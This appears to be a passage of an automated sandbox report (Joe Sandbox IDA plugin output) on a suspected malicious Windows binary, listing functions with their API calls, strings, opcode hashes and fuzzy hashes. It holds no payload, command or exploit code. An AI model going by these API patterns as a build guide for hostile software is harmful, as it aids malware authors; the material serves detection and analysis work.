HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 001018A2
InternetCloseHandle.WININET(00000000), ref: 001018E9

Part of subcall function 00102483: GetLastError.KERNEL32(?,?,00101817,00000000,00000000,00000001), ref: 00102498
Part of subcall function 00102483: SetEvent.KERNEL32(?,?,00101817,00000000,00000000,00000001), ref: 001024AD

Strings

, xrefs: 00101893

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 2e768ad7ea8cf4e91f3ea4679153028eef411d7b7c336e2675eeaa907075f0d7
Instruction ID: b879bfef43a2386c1a351d58f89b8205fdd42a0037c4f717e34dc77fc28d6f6f
Opcode Fuzzy Hash: 2e768ad7ea8cf4e91f3ea4679153028eef411d7b7c336e2675eeaa907075f0d7
Instruction Fuzzy Hash: A02180B1500208BFEB11AF64DC85EBF77EDEB48754F10812AF54596180EBB49E0597A1

Function 001163E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00091D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00091D73
Part of subcall function 00091D35: GetStockObject.GDI32(00000011), ref: 00091D87
Part of subcall function 00091D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00091D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00116461
LoadLibraryW.KERNEL32(?), ref: 00116468
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 0011647D
DestroyWindow.USER32(?), ref: 00116485

Strings

SysAnimate32, xrefs: 0011643C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: d6d4cf8803dc93881894d12b825550c6948def921b9f0d6fe37ecfbf6db46eac
Instruction ID: ab2f886ea2b71d02c72bc2f3840cffc317e4eb2d6c1ad7068527e56c1fbee803
Opcode Fuzzy Hash: d6d4cf8803dc93881894d12b825550c6948def921b9f0d6fe37ecfbf6db46eac
Instruction Fuzzy Hash: 2E218B71210205AFEF188FA4DC80EFB37ADEB58328F108639FA6496490D7329CC1A760

Function 000F6D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 000F6DBC
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 000F6DEF
GetStdHandle.KERNEL32(0000000C), ref: 000F6E01
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 000F6E3B

Strings

nul, xrefs: 000F6E36

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: dba368f5c9aa66ac6e2b9cdf57a1df52a0bc84e8f3824ac88d577a6a8b307c03
Instruction ID: 7512d35670e4fc8de3423e2d14df6ffd669cbd00678fc839891d6f33da88eac1
Opcode Fuzzy Hash: dba368f5c9aa66ac6e2b9cdf57a1df52a0bc84e8f3824ac88d577a6a8b307c03
Instruction Fuzzy Hash: 8721C475A0020DABDB209F29DC04ABE77F8EF44720F204619FEA0D76D0DB729851EB50

Function 000F6E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 000F6E89
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 000F6EBB
GetStdHandle.KERNEL32(000000F6), ref: 000F6ECC
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 000F6F06

Strings

nul, xrefs: 000F6F01

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 1ed486be19f8723b97cfd8ece967377cb026bf779a4c9867901987acc416982f
Instruction ID: 183f3f94065a50eb1c794f9c9527bf502cba2f35a359e58c3e0602637dd7cf60
Opcode Fuzzy Hash: 1ed486be19f8723b97cfd8ece967377cb026bf779a4c9867901987acc416982f
Instruction Fuzzy Hash: 0021907A6003099BDB209F69DC04ABA77E8AF55720F204A19FEE0D76D0D772A851EB50

Function 000FAC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 000FAC54
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 000FACA8
__swprintf.LIBCMT ref: 000FACC1
SetErrorMode.KERNEL32(00000000,00000001,00000000,0011F910), ref: 000FACFF

Strings

%lu, xrefs: 000FACBB

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 2ee3511b77c861f0019e0c13526477d33669dc35ad3efeec8fe4ade911e10059
Instruction ID: 733166d9726e9c59810ebae75c3ca101d36126a151e6bdc4fc775e9375222ff7
Opcode Fuzzy Hash: 2ee3511b77c861f0019e0c13526477d33669dc35ad3efeec8fe4ade911e10059
Instruction Fuzzy Hash: 5A214F71A00109AFCB10EF69C945EEE7BF8EF49714B108069F909AB252DB31EA45DB61

Function 000F1AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 000F1B19

Strings

EXISTS, xrefs: 000F1B41
APPEND, xrefs: 000F1B52
KEYS, xrefs: 000F1B30
REMOVE, xrefs: 000F1B1F

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 3909892132eabefd1c535179f723c322d5aeb89e3372010a31c5496bb8088417
Instruction ID: a38473c3c19bcd8090b6aedc95bfbeb47d49f8e07af6952f09e08c90ea91842d
Opcode Fuzzy Hash: 3909892132eabefd1c535179f723c322d5aeb89e3372010a31c5496bb8088417
Instruction Fuzzy Hash: 09116D31910209CFCF40EFA4D9619FEB7B4FF25704B2088A9D814AB6A2EB325D06DB50

Function 0010EB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0010EC07
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0010EC37
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0010ED6A
CloseHandle.KERNEL32(?), ref: 0010EDEB

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 4a3f4f15fc2e2768e0de625bfd314256a832a147a725a3cc7bd7442246d9d063
Instruction ID: f4baba6723b1e5d0d0d7364c0b457ac927e2ede1370f676f70bc660a30e73d3f
Opcode Fuzzy Hash: 4a3f4f15fc2e2768e0de625bfd314256a832a147a725a3cc7bd7442246d9d063
Instruction Fuzzy Hash: 89815D716047009FDB24EF29C886F6AB7E5AF49710F04881DF999DB2D2DBB1AC41CB91

Function 00110037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

Part of subcall function 00110E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0010FDAD,?,?), ref: 00110E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001100FD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0011013C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00110183
RegCloseKey.ADVAPI32(?,?), ref: 001101AF
RegCloseKey.ADVAPI32(00000000), ref: 001101BC

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 633aa0f544fda49a8b10c6154de2b1dc26f738ec95604c62c4bf5ac93b9f38b7
Instruction ID: 25bbbb18af25c11418a5652e96e6dd07f89b106c7d930658b62b73bfa40db823
Opcode Fuzzy Hash: 633aa0f544fda49a8b10c6154de2b1dc26f738ec95604c62c4bf5ac93b9f38b7
Instruction Fuzzy Hash: 84518171608204AFD709EF58CC81EAAB7F9FF88314F00492DF555872A2DB71E985DB52

Function 0010D8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00099837: __itow.LIBCMT ref: 00099862
Part of subcall function 00099837: __swprintf.LIBCMT ref: 000998AC

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0010D927
GetProcAddress.KERNEL32(00000000,?), ref: 0010D9AA
GetProcAddress.KERNEL32(00000000,00000000), ref: 0010D9C6
GetProcAddress.KERNEL32(00000000,?), ref: 0010DA07
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0010DA21

Part of subcall function 00095A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,000F7896,?,?,00000000), ref: 00095A2C
Part of subcall function 00095A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,000F7896,?,?,00000000,?,?), ref: 00095A50

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 0825fbda5c296fc8b90fbd7e844f6a0bc721c75a5b5207722924d8146c2a5d2d
Instruction ID: 167b78cd306dc6694b8b7451bb122b3acb20588cfc624d0be8ffdea5ec1ab8c2
Opcode Fuzzy Hash: 0825fbda5c296fc8b90fbd7e844f6a0bc721c75a5b5207722924d8146c2a5d2d
Instruction Fuzzy Hash: 47511535A00209DFCB04EFA8D8859EDB7F4FF09324B05C069E859AB352DB71AD45CB91

Function 000FE571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 000FE61F
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 000FE648
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 000FE687

Part of subcall function 00099837: __itow.LIBCMT ref: 00099862
Part of subcall function 00099837: __swprintf.LIBCMT ref: 000998AC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 000FE6AC
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 000FE6B4

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 4a8ab86c48ff8450bc6fd46f71a74e781661104274613a364437a515e3828923
Instruction ID: 196fc2b9e33661cbd53ddca54cb13e29286a56beb21b2131b7bde4ad2042850e
Opcode Fuzzy Hash: 4a8ab86c48ff8450bc6fd46f71a74e781661104274613a364437a515e3828923
Instruction Fuzzy Hash: 04512A35A00109DFCF05EF68C981AAEBBF5EF09354F1480A9E949AB362DB31ED11DB50

Function 0011A056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df3c072315943999162f2dcf5d33e4b85a98f4f0e72e78d52dce17c93325ea43
Instruction ID: 00356e929a8379862d6a0d114aa94b17cbd87d13268990cb4b0bcb81c1384bc2
Opcode Fuzzy Hash: df3c072315943999162f2dcf5d33e4b85a98f4f0e72e78d52dce17c93325ea43
Instruction Fuzzy Hash: D241D035A06214BFC729DB28CC48FE9BFA9AF09320F954175F916A72E1C730ADC1DA51

Function 00092344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00092357
ScreenToClient.USER32(001557B0,?), ref: 00092374
GetAsyncKeyState.USER32(00000001), ref: 00092399
GetAsyncKeyState.USER32(00000002), ref: 000923A7

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: a329cc2c6e55582b4fafe45dc366713c8b37c58f2fa98b97253456823cc54740
Instruction ID: 9cb19373f1195ff1ae795e662dd91d2e054b676d630fcf6d29f929cdd9d7700c
Opcode Fuzzy Hash: a329cc2c6e55582b4fafe45dc366713c8b37c58f2fa98b97253456823cc54740
Instruction Fuzzy Hash: BD416035604115FBDF699F68C844FEDBBB5BB05360F208329F829922A0C7359E90EB91

Function 000E63AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 000E63E7
TranslateAcceleratorW.USER32(?,?,?), ref: 000E6433
TranslateMessage.USER32(?), ref: 000E645C
DispatchMessageW.USER32(?), ref: 000E6466
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 000E6475

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: 403100788149795de1eabfe29afc2b1dd9c1f6484c115326f06cc7dddd74ac80
Instruction ID: f9428b282ef236806c669377b987abb159a1bfd66babfd10fc492e7dffd7b912
Opcode Fuzzy Hash: 403100788149795de1eabfe29afc2b1dd9c1f6484c115326f06cc7dddd74ac80
Instruction Fuzzy Hash: 83313971500782DFDB64CF71EC44BF67BE9AB10341F100129E421E75E1E7369485D760

Function 000E8A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 000E8A30
PostMessageW.USER32(?,00000201,00000001), ref: 000E8ADA
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 000E8AE2
PostMessageW.USER32(?,00000202,00000000), ref: 000E8AF0
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 000E8AF8

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: dedb81a5b2488cff628ac3923cbae3b50c60eaf21b2b12978b86d3e67a5599e3
Instruction ID: 516e665aef9e296a90aa73aaab0e7dd1c00cb79c943c903460062ca13cd3fd67
Opcode Fuzzy Hash: dedb81a5b2488cff628ac3923cbae3b50c60eaf21b2b12978b86d3e67a5599e3
Instruction Fuzzy Hash: 5231EE71500259EFEF14CFA9D94CADE3BB5FB04315F14822AF928EA2D0C7B09950CB91

Function 000EB1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 000EB204
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 000EB221
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 000EB259
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 000EB27F
_wcsstr.LIBCMT ref: 000EB289

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: bfe1da3dfa9e079c6964a5de9eeed179692a3429cf214becb87d165a77bd2100
Instruction ID: 155b377cad6e0f14b5724f99b1ed6beef50287834668318dec7d1157bb1f0f87
Opcode Fuzzy Hash: bfe1da3dfa9e079c6964a5de9eeed179692a3429cf214becb87d165a77bd2100
Instruction Fuzzy Hash: EA2104722042407FEB259B7A9C49EBF7B9CDF49760F00813DF904EA1A2EF61DC4192A0

Function 0011B14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00092612: GetWindowLongW.USER32(?,000000EB), ref: 00092623

GetWindowLongW.USER32(?,000000F0), ref: 0011B192
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0011B1B7
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0011B1CF
GetSystemMetrics.USER32(00000004), ref: 0011B1F8
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00100E90,00000000), ref: 0011B216

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: b36457d19441ba6f97cdc0d91035a7d63424a05041c626f09a40ead56a260ce1
Instruction ID: 1e4633b886f8b245c41f6bc01ac99014a1bac06b48e97e2e4ad7c5a73e8df777
Opcode Fuzzy Hash: b36457d19441ba6f97cdc0d91035a7d63424a05041c626f09a40ead56a260ce1
Instruction Fuzzy Hash: 5E219471A18651EFCB189F39DC58AAA37A5FB05361F114738F932D75E0D7309891CB90

Function 000E9307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 000E9320

Part of subcall function 00097BCC: _memmove.LIBCMT ref: 00097C06

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 000E9352
__itow.LIBCMT ref: 000E936A
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 000E9392
__itow.LIBCMT ref: 000E93A3

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 1378e53c9b2f61f6422d0d209c9bdb28e632ec6a3b47f5ac63cf6ce59460c527
Instruction ID: f296f4d982738b59dd758f57a1f93cbaadb0f2d280472436fb4629efdcb692cf
Opcode Fuzzy Hash: 1378e53c9b2f61f6422d0d209c9bdb28e632ec6a3b47f5ac63cf6ce59460c527
